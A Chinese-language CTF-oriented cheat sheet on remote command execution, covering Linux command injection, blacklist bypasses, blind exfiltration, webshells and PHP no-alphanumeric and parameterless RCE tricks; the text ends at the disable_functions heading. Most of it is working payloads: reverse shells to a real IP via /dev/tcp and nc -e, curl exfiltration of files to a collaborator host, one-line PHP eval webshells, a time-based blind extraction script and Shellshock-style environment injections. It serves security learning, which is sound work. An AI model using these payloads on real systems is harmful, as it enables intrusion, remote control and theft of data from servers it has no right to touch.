目录

  1. 1. RCE(命令执行)
  2. 2. Linux系统命令
    1. 2.1. 基础命令
      1. 2.1.1. 列目录
      2. 2.1.2. 常规读取文件
      3. 2.1.3. 报错读取法
      4. 2.1.4. 文件写入
      5. 2.1.5. 执行多条命令
        1. 2.1.5.1. 命令注入
    2. 2.2. Linux通配符
    3. 2.3. 系统环境变量
    4. 2.4. 黑名单绕过
      1. 2.4.1. 环境变量结合通配符盲匹配
    5. 2.5. Linux无回显命令执行
      1. 2.5.1. dnslog带外
      2. 2.5.2. 写入文件并下载
      3. 2.5.3. 盲注
      4. 2.5.4. 写马
      5. 2.5.5. 反弹shell
    6. 2.6. Bash无字母数字命令执行
    7. 2.7. 极限长度命令执行
      1. 2.7.1. 7字符
      2. 2.7.2. 5字符
      3. 2.7.3. 4字符
    8. 2.8. Bash环境变量注入
  3. 3. PHP危险函数
    1. 3.1. eval
    2. 3.2. phpinfo
    3. 3.3. call_user_func
    4. 3.4. create_function
    5. 3.5. assert
    6. 3.6. 可执行系统命令的函数
    7. 3.7. php函数层面绕过
    8. 3.8. PHP无字母数字rce
      1. 3.8.1. 取反(PHP>7)
      2. 3.8.2. 异或
      3. 3.8.3. 自增
      4. 3.8.4. 临时文件
    9. 3.9. PHP无参rce
      1. 3.9.1. php函数直接读取文件
      2. 3.9.2. 使用session_start()+session_id()读取文件
      3. 3.9.3. 通过dirname()实现任意文件读取
      4. 3.9.4. 使用getallheaders()函数进行命令执行
      5. 3.9.5. 使用get_defined_vars()
    10. 3.10. 突破 disable_functions 禁用函数
      1. 3.10.1. 输出打印
      2. 3.10.2. 查看目录
      3. 3.10.3. 读取文件
      4. 3.10.4. RCE Bypass
        1. 3.10.4.1. LD_PRELOAD
        2. 3.10.4.2. pcntl_exec
        3. 3.10.4.3. GC UAF
        4. 3.10.4.4. FFI
        5. 3.10.4.5. ImageMagick
        6. 3.10.4.6. cnext (CVE-2024-2961)
        7. 3.10.4.7. curl –engine RCE
    11. 3.11. 缓冲区关闭

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

RCE总结 Re:Master

2023/3/15 Web RCE
  |     |   总文章阅读量:

RCE(命令执行)

此部分包含:

  • 基于linux命令的构造

  • php系统函数rce

推荐食用:

https://github.com/ProbiusOfficial/RCE-labs


Linux系统命令

基础命令

快速入门:菜鸟教程

列目录

  • ls
  • dir
  • echo *
  • find .
  • tree(需要额外安装)

常规读取文件

  • cat
  • tac
  • less
  • more
  • head
  • tail
  • nl
  • uniq:检查及删除文本文件(txt)中重复出现的行列,一般与 sort 命令结合使用
  • php
  • base64 -i:base64编码
  • xxd -p:十六进制编码
  • od:支持ascii,字符形式,八进制,十进制,十六进制输出
  • grep “”
  • sed “$p”

报错读取法

部分命令会尝试执行文件内的语句,不符合语法则会直接抛出带有文件语句的报错

  • python/python3
  • node(如果有)
  • sh 或 . 或内联执行 ``

文件写入

echo "" > 1.txt
# echo/printf 重定向符写入,> 是全部重写,>> 是追加写入

command | tee file.txt
# tee:读取标准输入的数据,并将其内容输出成文件

vim 1.txt
  • sed命令:https://wangchujiang.com/linux-command/c/sed.html

    sed -e 4a\newLine testfile 
    # 第四行后添加一行
    
    sed '2,5d'
    # 删除第2,5行
    
    sed '3,$d'
    # 删除第3到最后一行
    
    sed '2i drink tea'
    # 第二行前添加一行
    
    sed '2,5c No 2-5 number'
    # 替换第2到5行为 No 2-5 number
    
    sed -n '5,7p'
    # 仅列出5到7行
    
    sed -n '/oo/p'
    # 列出包含 oo 的行
    
    sed 's/要被取代的字串/新的字串/g'
    # 数据查找与替换,g表示全局查找替换,否则默认匹配第一个,-i选项正式进行修改
    
    echo hello | sed 's/hello/(&)/'
    # &表示已匹配字符串标记,这里的 & 代表 hello,最终输出(hello)

执行多条命令

  • &&:逻辑与运算符,只有当第一个命令执行成功,才会执行第二个命令
  • ||:逻辑或运算符,只有当第一个命令执行失败,才会执行第二个命令
  • ;:命令分隔符,堆叠命令,命令依次执行
  • &:将第一个命令放到后台执行,Shell 立即执行第二个命令

命令注入

对于以下要执行的命令,其中 $ip 是我们可控的

ping -c 1 $ip

利用这几个执行多条命令的符号,可以实现注入我们自己的命令,如:

ping -c 1 127.0.0.1&&whoami
ping -c 1 ||whoami
ping -c 1 ;whoami
ping -c 1 &whoami

注:在 web 请求中,&通常需要进行url编码


Linux通配符

https://www.jianshu.com/p/d9633bb74e9a

用的比较多的还是前两个

*:匹配零个或者多个字符

?:匹配一个字符

[]:匹配指定集合中的任意单个字符,比如[abc]表示匹配单个字符a或者b或者c

{a,b}:匹配a或者b,a与b也是通配符,可以由其他通配符组成

!:表示非,比如!1.txt表示排除文件1.txt

[0-9]:匹配单个数字

[[:upper:]]:匹配任意单个大写字母

[[:lower:]]:匹配任意单个小写字母

[[:digit:]]:匹配任意单个数字,等价于[0-9]

[[:alpha:]]:匹配任意单个字母,包括大写字母与小写字母

[[:alnum:]]:匹配任意单个字母与数字

[[:space:]]:匹配单个空白字符

[[:punctl:]]:匹配单个标点符号

[^]:匹配指定集合之外的其他任意单个字符,比如[^abc]表示匹配除了a、b、c以外的其他任意字符


系统环境变量

查看系统环境变量:env

查看本地定义的环境变量:set

linux通常固有的环境变量:

  • $PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

  • $PWD:LAMP 的 web 服务一般起在 /var/www/html

  • $USER:LAMP 一般是低权限的 www-data

  • $HOME:当前用户的主目录

  • ~:当前用户的主目录

  • $SHLVL:记录多个 shell 进程实例嵌套深度的累加器(即计算套了几层shell),默认为 1

  • $$:shell本身的进程ID

  • $!:shell最后运行的后台进程PID

  • $?:最后运行的命令的结束代码(返回值)

  • $-:使用set命令设定的标志一览,bash 预设是 himBH

  • $#:添加到shell的参数个数

  • $0:shell本身的文件名

  • $1~$n:添加到Shell的各参数值。$1是第1个参数、$2是第2个参数

  • $_:上一次执行的命令

  • $IFS:内部字段分隔符,默认情况下 bash shell 会将空格、制表符、换行符当做字段分隔符

  • $9:当前系统shell进程的第九个参数的持有者,它始终为空字符串,但是对其进行编码会发现实际输出回车符号(%0A)

    • ${}:用于变量替换,可以精确界定变量名称的范围,以上的特殊变量均可以用大括号界定以免解析出现问题,即${ #}${?}等等
    A=B
    echo $AB	# 我们的目标是字符串拼接打印BB,这里反而取的是变量AB
    echo ${A}B

    同样可以通过 $A$9 来实现界定范围,这里的 $9 起一个空字符串的作用

黑名单绕过

通过黑名单的方式 ban 掉了一些关键的命令、字符或者文件名

  • 空字符:

    在Shell中,'" 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串

    例如:echo "$"a 会输出 $a,而 echo $a 会输出变量 a 的值,当只有 "" 则表示空字符串,Shell会忽略它

    who""ami
    who'a'mi
  • 反斜杠:

    who\ami
  • 通配符:见上面的 linux 通配符

  • 过滤空格:

    • $IFS:结合上面环境变量的字段分隔,于是就有${IFS}$IFS$9

    • 重定向:<

    • {}:仅bash生效

    • 进制编码:空格的十六进制为 \x20

    cat${IFS}/flag
    cat</flag
    {cat,/flag}
    $'cat\x20/flag'
  • 过滤 /:

    ${HOME:0:1}来替代"/"cat /flag ---->>> cat ${HOME:0:1}flag
    
    $(echo . | tr '!-0' '"-1') 来替代"/"cat $(echo . | tr '!-0' '"-1')flag
  • 换行符:在linux中,命令中插入换行符不影响实际的命令执行,如:这里echo Cg==|base64 -d

    who`echo Cg==|base64 -d`ami

    同理我们可以构造who$9amiwho%09ami(web端进行url解码时可用)等

    同样能起到类似效果的还有 %00(NULL字符)、%0d(回车符,仅限web端传入,终端无效),%09(tab制表符)

  • 编码绕过:cat /flag 的多种写法

    cat "$(echo 'L2ZsYWc=' | base64 -d)"
    `echo "Y2F0IC9mbGFn"|base64 -d`
    echo "Y2F0IC9mbGFn"|base64 -d|bash
    
    echo -n 636174202f666c6167 | xxd -r -p | bash  # 十六进制
    $'\x63\x61\x74\x20\x2f\x66\x6c\x61\x67' # 十六进制
    $(printf "\143\141\164\040\057\146\154\141\147\012")  # 八进制(or bashfuck)
  • 赋值给变量进行拼接:

    a=l;b=s;$a$b
    a=c;b=at;c=f;d=lag;$a$b ${c}${d}
    a=“ccaatt”;b=${a:0:1}${a:2:1}${a:4:1};$b test

环境变量结合通配符盲匹配

在无数字和小写字母的情况下,尝试构造 /bin/base64 flag.php

首先的思路就是用通配符进行构造: /???/???? ????.???

靶机的部分环境变量如下:

PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

PWD:/var/www/html

USER:www-data

HOME:当前用户的主目录,www-data 一般在 /var/www

SHLVL:记录多个 Bash 进程实例嵌套深度的累加器,此处为 1

PHP_VERSION:7.3.22

此处防止博客渲染失败使用了tab分隔,不过直接复制也不影响命令执行

${PATH:~0}${PATH:~A}
获取字符n(0和字母都代表从最后面数)
${PWD:~0}
获取字符l
${PWD:0}
/var/www/html
${PWD:1}
var/www/html
${PWD:2:4}(第三位是长度)
ar/w

${	#	}
获取数字0
${	#SHLVL	}${	##	}${	#?	}
获取数字1
${	PHP_VERSION:~A	}
从7.3.22中获取数字2
${	#IFS	}=3
linux下是3,mac里是4
${	#RANDOM	}
获取4或5

对于 / ,上面的获取方式 ${HOME:0:1}
可构造 ${HOME:${	#	}:${	##	}}${PWD::${	#SHLVL	}}
过滤#时
构造 <A;${	HOME::$?	}???${	HOME::$?	}?????${	RANDOM::$?	} ????.???
(<A;让前面报错得到1,使$?为1) /bin/base64 flag.php


${USER:~A}
获取a
${HOME:${	#HOSTNAME	}:${	#SHLVL	}}
获取t
${PWD:${#IFS	}:${	#?	}}
获取r
构造/bin/rev逆序读取文件

Linux无回显命令执行

php中,如 exec 之类的函数执行命令无回显,此时需要想办法获取执行的结果

dnslog带外

关于多级域名与域名解析DNS的概念:https://blog.csdn.net/m0_37263637/article/details/85157611

如:tieba.baidu.com 是一个三级域名,com 为顶级域名,baidu 为二级域名,tieba 即为三级域名,之间用点号隔开,域名不区分大小写

image-20250418091906523

利用 burp 中的 Collaborator Client

使用curl指令进行带外,反引号进行内联执行把结果作为参数值带出

curl -X POST -F xx=@flag.php  http://k9u5p3u5hn9tl61hux77y81ad1jt7i.oastify.com

curl http://k9u5p3u5hn9tl61hux77y81ad1jt7i.oastify.com?a=`ls / | base64`

image-20230717131213534

相当于对这个域名进行了一次带参数的访问,其中参数的内容是我们命令执行的结果


写入文件并下载

ctfshow web136

把命令执行的结果写文件然后访问下载文件

ls / | tee 1

这样可以把ls /的结果输出写入到当前目录下的 1 文件,然后如果是php服务的话就可以尝试访问获取结果

或者直接重定向写入文件

ls / > 1

盲注

布尔盲注:

if [ `cut -c 1 /f*` = "a" ];then echo 2;fi

爆破匹配的字符即可

时间盲注,脚本by Kradress

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote as urlen
url  = 'http://1c288549-6ed6-481e-9941-073a0889da5d.challenge.ctf.show/?c='
alphabet = ['{','}', '.','/','@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,100):
	for char in alphabet:
		payload = "if [ ` ls / | awk 'NR==4'  |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
		# payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
		# data = {'cmd':payload}
		try:
			start = int(t.time())
			r = requests.get(url+payload)
			# r = requests.post(url, data=data)
			end = int(t.time()) - start
			# print(i,char)
			if end >= 3:		
				result += char
				print("Flag: "+result)
				break
		except Exception as e:
			print(e)

payload部分:

  • ls /:列出 / 目录下的所有文件和目录。
  • awk 'NR==4':选取输出结果中的第四行(前三个文件一般都是bin dev etc)
  • cut -c{}:选取该行中的第 i 个字符。
  • =:比较该字符是否等于当前字符。
  • sleep 5:如果比较成功,则等待 5 秒钟。

写马

echo "<?php eval($_POST['cmd']);?>" > shell.php

极限情况:https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497580&idx=1&sn=c77028340ad979d0182045d5796a3826&subscene=0

printf "60\n37\n111\n117\n116\n46\n112\n114\n105\n110\n116\n40\n34\n49\n34\n41\n59\n37\n62\n" > /xxxxx/1.txt
awk '{ printf "%c", $1 }' /xxxxx/1.txt > /xxxxx/1.jsp

反弹shell

参考文章:

Linux反弹shell(一)文件描述符与重定向

Linux 反弹shell(二)反弹shell的本质

在线生成反弹shell命令:https://www.ddosi.org/shell/

常用:

bash -c "bash -i >& /dev/tcp/115.236.153.170/57746 0>&1"
nc 115.236.153.170 57746 -e sh

Bash无字母数字命令执行

探姬的集大成之作:https://probiusofficial.github.io/bashFuck/

  • 八进制

  • 二进制整数替换

  • 数字1的特殊变量替换

  • 数字0的特殊变量替换

  • 特殊扩展替换任意数字


极限长度命令执行

7字符

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

参考:https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html

  • w是长度最短的命令,用于快速查看谁在登录系统以及他们在做什么,不过这里内容无关,只需要一个足够短的命令用于写入结果创建文件即可,我们关注的是文件名

按照如下顺序创建文件:

w>hp
w>c.p\\
...

然后使用 ls -t,基于事件排序列出文件(从晚到早)

image-20250810173134157

于是初见端倪,上面我们知道换行符是不影响命令执行的,为此只需要从后到前构造整段命令即可,最后ls -t写入文件名到目录中,用sh执行文件内容

建议使用 base64 编码构造命令以避免特殊字符

5字符

【HITCON 2017 - babyfirst-revenge】

4字符

【HITCON 2017 - BabyFirst-Revenge-v2】


Bash环境变量注入

p神经典:我是如何利用环境变量注入执行任意命令

以这段 php 代码为例:

foreach($_REQUEST['a'] as $key => $val) {
    putenv("{$key}={$val}");
}
system('echo hello');

我们可以自由控制要写入的变量值与变量名,这里的目的就是通过注入环境变量,让 echo 执行的时候触发我们的命令

php 的 system 底层调用的是系统的 popen,而 popen 的底层执行了 sh -c

  • Bash ShellShock 漏洞:TEST=() { :; }; id;

  • Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

  • Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'


PHP危险函数

assert()    //判断一个表达式是否成立。返回true or false; 

preg_replace()   //函数是用来执行一个正则表达式的搜索和替换的  preg_replace(要搜索的字符串,用于替换的字符串,要搜索替换的字符串)

eval

把字符串作为PHP代码执行

https://www.php.net/manual/zh/function.eval.php

eval(string $code): mixed
  • 此处的 code 可视为单独 include 后的文件,继承调用 eval() 所在行的变量作用域。该行中任何有效变量都可在执行的代码中读取和修改。但定义的所有函数和类都将在全局命名空间中定义。eval() 里任何的变量定义、修改,都会在函数结束后被保留

  • code 不能包含打开/关闭 PHP tags。比如, 'echo "Hi!";' 不能这样传入: '<?php echo "Hi!"; ?>',但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'

  • 所有语句必须以分号结尾

  • 实际上,eval() 是语言构造器而不是函数,不能在 php.ini 中使用 disable_fucntions 来禁用,若要禁用需要用到PHP的扩展Suhosin。而且不能被 可变函数 或者 命名参数 调用,即 $a="eval";$a(); 是不可行的


phpinfo

输出关于 PHP 配置的信息

https://www.php.net/manual/zh/function.phpinfo.php

phpinfo(int $flags = INFO_ALL): true

输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP 环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)

  • 常见的无参函数之一
  • 固定返回 true

值得关注的内容:

  • 系统环境变量:如 FLAG

  • 配置文件路径:如 /etc/php/7.4/apache2/php.ini 或 /etc/apache2/apache2.conf

  • disable_functions:查看禁用的函数

  • open_basedir:查看文件访问限制

  • extensions_dir:插件路径

  • Loaded Configuration File:php.ini 路径

  • Session部分:常用于 session文件包含session反序列化

    • Session Support
    • session.upload_progress.enabled
    • session.auto_start:若开启则不需要 session_start()
    • session.use_strict_mode:自定义session id
    • session.save_path:未配置则不会生成session文件
    • session.upload_progress_enabled
    • session.upload_progress_cleanup
    • session.serialize_handler
  • $_SERVER[‘DOCUMENT_ROOT’]:网站的绝对路径

  • register_argc_argv:pearcmd

  • Opcache拓展:见 Opcache 缓存文件 RCE

    • opcache.enable
    • opcache.file_cache
    • opcache.file_cache_only
  • Soap Client:反序列化打 ssrf

  • Server API:如果是 CGI/FastCGI 则有 CGI 参数注入


call_user_func

把第一个参数作为回调函数调用,其余参数是回调函数的参数

https://www.php.net/manual/zh/function.call-user-func.php

call_user_func(callable $callback, mixed ...$args): mixed
call_user_func_array(callable $callback, array $args): mixed
  • $callback 是要调用的函数名或者回调函数,可以是一个字符串(表示函数名),也可以是一个数组(表示对象方法或类静态方法)
  • call_user_func_array 第二个参数需要传入一个数组,即要执行函数的参数以数组形式传入

eg:

函数调用:

<?php
function test($test1,$test2) {
    return $test1 . $test2;
}
echo call_user_func('test', 'a', 'b'); // 输出结果为ab
echo call_user_func_array('test',array('a','b'));

类静态方法调用:

<?php
class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));	// 数组调用类的方法
call_user_func($classname .'::say_hello');	// 直接调用
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));	//先实例化后调用
?>

ctfshow web137,138

命令执行:

call_user_func('system', 'ls /');
call_user_func(array(assert, eval($_POST[1])));	// 回调后门,带到post请求里进行任意命令执行

create_function

通过执行代码字符串创建动态函数

https://www.php.net/manual/zh/function.create-function.php

create_function(string $args, string $code): string
//string $args 声明的函数变量部分(不声明的话就是无参函数)
//string $code 执行的方法代码部分
  • 创建全局匿名函数(无法释放),并为其返回唯一名称。这个函数的名称中有不可见字符,在url编码后为%00lambda_{id},其中 id 为该进程内创建的第几个匿名函数,如第二个匿名函数即为 %00lambda_2
  • PHP7.2 开始被废弃但仍可使用,PHP8 被移除
  • 此函数会在内部执行 eval(),因此具有和 eval() 一样的风险

eg:

<?php
$id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);

create_function的操作会产生一个新的匿名函数

$b = create_function('$name',$code);
// 内部实现
function __lambda_func($name){echo $name."的编号是".$id;}

$b('C1oudfL0w0'); // 即 __lambda_func('C1oudfL0w0')

因为 id 参数是我们可控输入的,可以使用;}在 id 处提前闭合这个匿名函数,然后注入我们的 php 代码,最后用/*把后面的内容注释掉

payload:

?id=2;}phpinfo();/* 

此时内部 eval 的内容为:

function __lambda_func($name){echo $name."的编号是2";}phpinfo();/*}

然后就能执行 phpinfo()

题目:ctfshow web147


assert

https://www.php.net/manual/zh/function.assert.php

assert(mixed $assertion, Throwable|string|null $description = null): bool

测试表达式是否为真。

PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。
PHP 8.0.0 后移除该功能


可执行系统命令的函数

https://www.php.net/manual/zh/ref.exec.php

system(string $command, int &$result_code = null): string|false

passthru(string $command, int &$result_code = null): ?false
// 执行外部程序并且显示原始输出,只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上
  
exec(string $command, array &$output = null, int &$result_code = null): string|false
// 执行一个外部程序,命令执行结果的最后一行内容
  
shell_exec(string $command): string|false|null
// 命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL
  • pcntl_exec()

    在当前进程空间执行指定程序

  • popen()

    不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行

    <?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
     
    <?php  
        $test = "ls /tmp/test";  
        $fp = popen($test,"r");  //popen打一个进程通道  
      
        while (!feof($fp)) {      //从通道里面取得东西  
            $out = fgets($fp, 4096);  
             echo  $out;         //打印出来  
        }  
        pclose($fp);  
    ?> 
  • 执行运算符``:命令执行,内联执行

    与shell_exec功能相同,执行shell命令并返回输出的字符串

  • >

    重定向符

    echo123> /home/123.txt
  • >/dev/null 2>&1

    写入的内容会永远消失,也就是不进行回显,需用;号或者||等等一些命令分隔符进行命令分隔

    /dev/null

    将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容

    2>&1

    2> 表示stderr标准错误

    & 表示等同于的意思,2>&1,表示2的输出重定向等同于1

    1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null”

    image-20230305110214437

  • &:按位与

  • &&:逻辑与

  • |:按位或,直接执行下一条语句

  • ||:逻辑或

  • ;:在 shell 中,是”连续指令”,执行下一条语句

  • scandir(‘/‘):列出指定路径中的文件和目录

  • file_get_contents(‘/flag’):读取文件

  • find:查找与指定参数条件匹配的文件及目录列表

    • -name:按文件名称查找

php函数层面绕过

  • 参数带外:

    ?c=eval($_GET[1]);&1=system("tac%20flag.php");
  • 文件包含参数带外:

    eval(include;$_GET[a]?>)&a=伪协议
  • 绕过preg_replace:针对preg_replace("/system/",'',$a);的一次替换

    $a=syssystemtem 即可实现绕过


PHP无字母数字rce

原型:对以下代码的绕过

<?php
if(!preg_match('/[A-Za-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}if(preg_match('/^\W+$/', $v3))

可以直接看p神的博客:

一些不包含数字和字母的webshell:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

无字母数字webshell之提高篇:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

取反(PHP>7)

<?php
highlight_file(__FILE__);
$code1="system";
$code2="cat /f*";
echo "<br>";
echo "?wllm=(~".urlencode(~$code1).")(~".urlencode(~$code2).");";
?> 
$(())
$((~$(())))=-1
${_} =""返回上一次命令

异或

一代脚本:

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = str(input(""))#请输入进行异或构造的字符串

tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

二代脚本:

先生成可用的字符集

<?php

$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=33; $i < 126; $i++) { 
    for ($j=33; $j <126; $j++) { 
        if($i<16){
            $hex_i='0'.dechex($i);
        } else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        } else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z,A-Z,0-9>\?\'\"]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))) {
            echo "";
        } else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }
    }
}
fwrite($myfile,$contents);
fclose($myfile);

再生成异或字符串

import urllib.parse

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce_or.txt", "r")
        k = f.readlines()
        for t in k:

            if t == "":
                break
            if t[0] == i:
                s1 += urllib.parse.unquote(t[2:5])
                s2 += urllib.parse.unquote(t[6:9])
                break
        f.close()
    output = "\'" + s1 + "\'^\'" + s2 + "\'\n"
    return output

while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    print(param)

自增

最终我们要把参数带出来,即构造$_GET$_POST

(传入时记得url编码)

$_++=1

$_++_变量进行了自增操作,由于我们没有定义_的值,PHP会给_赋一个默认值NULL==0,

由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

  • 注:linux命令下不能构造($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)类似语句获取数字

  • 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为”Array”

    实战一般会用_/_._获取NAN_快速获取$_POST

    "A"++ ==> "B"
    "B"++ ==> "C"
        如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母
        
    $_=[].'';   //得到"Array"
    $___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
    
    $_=_/_._;   // 得到"NAN_"
    $_=(_/_._)[0]; //得到"N"

以Array为例拼出$_GET:(用到chr函数)长度120

<?php
error_reporting(0);
$_=[].'';   // Array
$__=$_[1];  // r
$_=$_[3];   // a
$___=++$_;$___++;  // c
$_++;$_++;$_++;$_++;$_++;$_++; // h
$__=$___.$_.$__;  // chr
$_=_.$__(71).$__(69).$__(84); // _GET
$$_{1}

精简为一句话版:

$___=[];$_=$___[3];$_++;$_++;$__=$_++;$_++;$_++;$_++;$__.=++$_.$___[2];$_=_.$__(71).$__(69).$__(84);($$_{1})($$_{2});

以NAN为例拼出$_POST

<?php
error_reporting(0);
$NAN = _ / _ . _; // NAN_
$N = $NAN[0]; // N
$O = ++$N; // O
$PO = ++$N . $O; // PO
$N++; // Q
$N++; // R
$S = ++$N; 	// S
$T = ++$N;	// T
$POST = _ . $PO . $S . $T; // _POST
echo $POST;

简化一下然后换变量名

<?php
$_ = (_ / _ . _)[0]; // N
$__ = ++$_; // O
$___ = ++$_ . $__; // PO
$_++; //Q
$_++; //R
$____ = ++$_;
$_____ = ++$_;
$POST = _ . $___ . $____ . $_____; // _POST

缩成一句话,长110

$_=(_/_._)[0];$__=++$_;$___=++$_.$__;$_++;$_++;$____=++$_;$_____=++$_;$______=_.$___.$____.$_____;$$______{1};

更短的参考极限RCE

参数带出来之后建议写马

1=file_put_contents('1.php','<?php @eval($_POST["cmd"]); ?>')`

临时文件

$_均被过滤的情况(P神文章)

  • 使用bin下的base64命令

    ?c=/???/????64 ????????

临时文件目录:
Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])
Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令

  • PHP5

    • 要点:

      1. shell下可以利用.来执行任意脚本
      2. Linux文件名支持用glob通配符代替
    • 思路

      通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在 /tmp/php?????? 一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
      注意:通过.去执行sh命令不需要有执行权限

    • 操作:

      1. 本地服务器构造POST上传文件数据包

        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>POST数据包POC</title>
        </head>
        <body>
        <form action="http://7f21b48d-249b-4f0e-8c3e-5be2fae43b59.challenge.ctf.show/" method="post" enctype="multipart/form-data">
        <!--链接是当前打开的题目链接-->
            <label for="file">文件名:</label>
            <input type="file" name="file" id="file"><br>
            <input type="submit" name="submit" value="提交">
        </form>
        </body>
        </html>
        
      2. 抓包构造执行命令,在上传文件内容添加sh命令

        ?c=.+/???/????????[@-[](通配符匹配大写字母)
        文件内容
        #!/bin/sh
        ls

PHP无参rce

参考文章

依靠传入没有参数的函数套娃就可以达到命令执行的效果

核心

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

php函数直接读取文件

payload例

highlight_file(next(array_reverse(scandir(current(localeconv())))));
  • localeconv()函数

    返回一包含本地数字及货币格式信息的数组

    第一个返回的是点,可利用的点就是代表当前目录,可以结合其他函数进行目录扫描

  • scandir()函数

    目录扫描

    scandir(current(localeconv()))
    // 查看当前目录
  • chdir()函数

    跳目录

    向上跳就要构造chdir(‘…’)

  • array_reverse()函数

    将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

  • highlight_file()/show_source()函数

    打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的

    被过滤时:print(file_get_contents())

  • reset()函数

    表示内部指针指向数组的第一个元素并输出

  • next()函数

    表示内部指针指向数组的下一个元素,并输出

  • 打印时flag被包含可加上base64_encode()

使用session_start()+session_id()读取文件

注意 php<7

?code=show_source(session_id(session_start())); 
Cookie: PHPSESSID=index.php

通过dirname()实现任意文件读取

使用它对目录进行执行的话就会返回上级目录

var_dump(scandir(getcwd()));
var_dump(scandir(dirname(dirname(dirname(getcwd())))));

使用getallheaders()函数进行命令执行

getallheaders()函数可以获取所有的HTTP标头

由于包的请求头信息可控,如果能够执行我们指定的请求头内容,就能实现代码执行

利用函数指向我们需要的请求头元素,用eval在对应的请求头元素进行命令执行即可

比如:

GET /?star=eval(next(getallheaders())); HTTP/1.1
Host: test:70
User-Agent: system('cat /flag');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

此时UA头是getallheaders()返回的数组的第二个元素,利用next指向它,用eval进行命令执行即可

使用get_defined_vars()

返回由所有已定义变量所组成的数组,会按顺序返回$_GET$_POST$_COOKIE$_FILES

示例:

GET?code=eval(array_pop(next(get_defined_vars())));
POST1=system('ls');

突破 disable_functions 禁用函数

